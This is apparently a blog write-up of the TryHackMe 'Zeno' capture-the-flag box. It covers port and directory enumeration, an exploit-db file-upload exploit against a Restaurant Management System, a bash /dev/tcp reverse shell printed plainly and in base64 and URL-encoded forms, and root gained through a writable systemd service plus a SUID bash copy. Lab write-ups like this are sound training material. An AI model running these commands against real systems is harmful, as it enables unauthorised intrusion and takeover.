Monday, November 1, 2021

TryHackMe - Zeno Writeup

A new Medium difficulty box on TryHackMe was released, so I decided to do a writeup on it.

Troubles from the start

My initial nmap scan (All 65535 TCP Ports) on the box returned a single open Port - 22 (SSH) running OpenSSH7.4. Given the difficulty of the box, I figured that it was some service running on a UDP port, so did a full UDP scan and came up with absolutely nothing.

Knowing how unstable TryHackMe boxes can be on Free accounts, I reset the box, waited 20 minutes, and tried again - With the same result. After additional investigation in their Discord chat, I discovered that this was a common issue affecting users (An unfortunately common occurence in their recent released boxes), and that port-scanning from the on-network TryHackMe Attack Box was the way to go. Doing this led me to an additional open port - 12340

Basic enumeration

Given the new port, I decided to give it a quick scan:

reelix@reelix-1:~$ reecon 12340
Reecon - Version 0.27d ( )
Scanning: (Port: 12340)
Unknown Port: 12340 - Info may be unreliable / duplicated - Especially for Web Servers
Port 12340 - HTTP
- Page Title: We've got some trouble | 404 - Resource not found
- DNS:
- Server: Apache/2.4.6 (CentOS) PHP/5.4.16
-- Apache Detected
- Other Headers: Date,ETag,Accept-Ranges
- Common Path is readable: (Len: 3897)
-- EMail: [email protected]
-- [email protected]: mailto:[email protected]

This showed that it was a webserver running a slightly outdated version of Apache on CentOS, the base page was a 404 page (Named index.html), and the page contained a placeholder e-mail address. Visiting the page in Chrome showed no additional useful information. There was a comment tag displaying that this specific 404 page was a template by Simple HTTPErrorPages, although browsing through their Githubs issue list showed nothing useful. As it was a webserver, my next plan was to run gobuster to see if there were any hidden pages. Failing that, it was on to searching for newly released Apache / CentOS exploits.

Thankfully, running gobuster returned an interesting result:

reelix@reelix-1:~/thm/zeno$ gobuster dir -u -w ~/wordlists/directory-list-2.3-medium.txt -x.php,.txt,.html -t 50
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/reelix/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
2021/11/01 08:20:26 Starting gobuster in directory enumeration mode
/index.html           (Status: 200) [Size: 3897]
/rms                  (Status: 301) [Size: 238] [-->]

2021/11/01 09:22:01 Finished

Browsing to this newly discovered rms page showed a detailed Hotel Restaurant Management System:

Registering an account and then browsing through the site showed that it was rather detailed, so I figured that it was simply an existing CMS set up for this specific challenge.


An exploit-db search for "Hotel Restaurant Management Management System", and then "Restaurant Management System" led me to a single exploit. The familiar /rms/ in the exploit led me to believe that this was what I was looking for!

After browsing the exploits code, fixing up some formatting errors, fixing up the URLs, and seeing how it was meant to work, I ran it, then tested that I had code execution:

reelix@reelix-1:~/thm/zeno$ python3 47520

    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |

Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL :
reelix@reelix-1:~/thm/zeno$ curl


Changing the command to a URL encoded reverse shell and setting up a pwncat listener got me what I needed:

reelix@reelix-1:~/thm/zeno$ reecon -shell bash
Reecon - Version 0.27d ( )
Don't forget to change the IP / Port!
Bash Shell
bash -i >& /dev/tcp/ 0>&1
Note: File header is only required if it's a file and not a command
Safer: bash -c "bash -i >& /dev/tcp/ 0>&1"
Safer Base64: YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIwMy85MDAxIDA+JjEi
Alt Safer Base64 (No +): YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjIuMjYuMjAzLzkwMDEgPCYx
Safer URL Encoded: bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.26.203%2F9001%200%3E%261%22
reelix@reelix-1:~/thm/zeno$ curl

Privilege Escalation

After a quick browse in the users home directory and the web directory to see if nothing quick could be gained, I copied lse over to /dev/shm and ran it at level 1 and discovered two interesting things:

1.) A password for "zeno" in /etc/fstab

2.) That we could write to a system service file "/etc/systemd/system/zeno-monitoring.service"

Attempting zenos password for the only other user on the box - edward - gave us access to him, allowing us to get the first flag - The user.txt file in edwards home directory!


Investigating the zeno-monitoring.service file showed something interesting:

(remote) apache@zeno:/dev/shm$ cat /etc/systemd/system/zeno-monitoring.service
Description=Zeno monitoring



When the service is started, it runs a script. Now, we can alter this value, but the problem is that we can't reboot the box - Or can we!

Running a sudo -ln as edward shows that edward has sudo permissions on /usr/sbin/reboot - Perfect!

Whilst there was no nano on the box (Which I prefer), there was vi which I used (i to set to "insert" to alter text, escape->:wq! to save and exit) to alter the service file.

My initial plan was to set the ExecStart to simply run a .sh file with a shell, although it turns out that edward only had read-only permissions to his home directory which was extremely odd, and all directories he had write access to - /dev/shm and /tmp - Got cleared on reboot, so I had nowhere to put it!

My next plan was to alter ExecStart to add a suid bit to /bin/bash and chown it - Although that didn't work for some reason.

My third plan was to alter ExecStart to directly send a reverse shell back to me - Although that didn't work either!

My fourth plan was to alter ExecStart to copy /bin/bash to a different directory, and suid that - Which worked! Rebooting the box with the reboot priviliges of edward, and running the copied bash file with -p (To preserve root) allowed me to get the final flag located at /root/root.txt - The box was now complete!

[edward@zeno ~]$ id
uid=1000(edward) gid=1000(edward) groups=1000(edward) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[edward@zeno ~]$ ./woof -p
woof-4.2# hostname && id
uid=1000(edward) gid=1000(edward) euid=0(root) egid=0(root) groups=0(root),1000(edward) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
woof-4.2# cat /root/root.txt

No comments :

Post a Comment